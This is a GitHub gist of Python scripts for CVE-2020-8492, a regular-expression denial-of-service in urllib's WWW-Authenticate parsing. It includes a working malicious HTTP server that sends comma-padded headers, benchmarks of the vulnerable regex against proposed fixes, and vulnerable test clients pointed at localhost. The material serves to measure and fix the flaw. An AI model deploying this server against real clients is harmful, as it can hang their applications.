Skip to content

Instantly share code, notes, and snippets.

@davidfraser
Last active April 5, 2020 00:02
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save davidfraser/1ad5d848471813d870e1a83f40172786 to your computer and use it in GitHub Desktop.
Save davidfraser/1ad5d848471813d870e1a83f40172786 to your computer and use it in GitHub Desktop.
Speed tests for CVE-2020-8492

CVE-2020-8492 Speed Tests

CVE-2020-8492 describes a DOS opportunity for malicious servers responding to requests from the Python built-in urllib library. See bug 39503 and the earlier bug 38826

A malicious server can send up to 65,509 additional commas in the WWW-Authenticate header, which triggers an O(2**n) evaluation of a regular expression.

This folder contains a sample malicious server (in Python 3), and sample vulnerable clients (in Python 2 and 3)

It also contains scripts to test the speed of various alternative regular expressions or parsing methods. These stop once a threshold time has been reached, so you can still do meaningful timing.

from http.server import BaseHTTPRequestHandler, HTTPServer
def make_basic_auth(n_commas):
commas = "," * n_commas
return f"basic {commas}A"
comma_tests = [100, 250, 500, 750, 1000, 1250, 1500, 65509]
i = 0
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
global i
self.send_response(401)
n_commas = comma_tests[i]
i += 1
# n_commas = (int(self.path[1:]) if len(self.path) > 1 else 65509)
print(n_commas)
value = make_basic_auth(n_commas)
self.send_header("www-authenticate", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
#!/usr/bin/env python
import urllib2
import re
import time
try:
import www_authenticate
except ImportError:
www_authenticate = None
class www_a(object):
def search(self, t):
return www_authenticate.parse(t)
rxs = {
'0:actual': urllib2.AbstractBasicAuthHandler.rx,
'1:orig': re.compile('(?:.*,)*[ \t]*([^ \t]+)[ \t]+realm=(["\']?)([^"\']*)\\2', re.I),
'2:fix18284': re.compile('(?:[^,]*,)*[ \t]*([^ \t]+)[ \t]+realm=(["\']?)([^"\']*)\\2', re.I),
'3:msg356785': re.compile('basic[ \t]+realm=(["\']?)([^"\']*)\\2', re.I),
'4:with_boundary': re.compile('\b(basic)[ \t]+realm=(["\']?)([^"\']*)\\2', re.I),
'5:start_any_scheme': re.compile('^([^ \t]+)[ \t]+realm=(["\']?)([^"\']*)\\2', re.I),
'6:www_authenticate': www_a() if www_authenticate else None,
}
for rx_name, rx in sorted(rxs.items()):
if rx is None:
continue
for n in (1, 10, 15, 20, 23, 100, 250, 500, 1000, 1500, 2000, 5000, 10000, 20000, 50000, 65000):
t = 'basic %sA' % (',' * n)
start_time = time.time()
rx.search(t)
finish_time = time.time()
d = finish_time - start_time
print(rx_name, n, d)
if d > 5:
break
#!/usr/bin/env python
import urllib.request
import re
import time
try:
import www_authenticate
except ImportError:
www_authenticate = None
class www_a(object):
def search(self, t):
return www_authenticate.parse(t)
rxs = {
'0:actual': urllib.request.AbstractBasicAuthHandler.rx,
'1:orig': re.compile('(?:.*,)*[ \t]*([^ \t]+)[ \t]+realm=(["\']?)([^"\']*)\\2', re.I),
'2:fix18284': re.compile('(?:[^,]*,)*[ \t]*([^ \t]+)[ \t]+realm=(["\']?)([^"\']*)\\2', re.I),
'3:msg356785': re.compile('basic[ \t]+realm=(["\']?)([^"\']*)\\2', re.I),
'4:with_boundary': re.compile('\b(basic)[ \t]+realm=(["\']?)([^"\']*)\\2', re.I),
'5:start_any_scheme': re.compile('^([^ \t]+)[ \t]+realm=(["\']?)([^"\']*)\\2', re.I),
'6:www_authenticate': www_a() if www_authenticate else None,
}
for rx_name, rx in sorted(rxs.items()):
if rx is None:
continue
for n in (1, 10, 15, 20, 23, 100, 250, 500, 1000, 1500, 2000, 5000, 10000, 20000, 50000, 65000):
t = 'basic %sA' % (',' * n)
start_time = time.time()
rx.search(t)
finish_time = time.time()
d = finish_time - start_time
print(rx_name, n, d)
if d > 5:
break
import urllib2
opener = urllib2.build_opener(urllib2.HTTPBasicAuthHandler())
opener.open("http://localhost:44020/")
import urllib.request
opener = urllib.request.build_opener(urllib.request.HTTPBasicAuthHandler())
opener.open("http://localhost:44020/")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment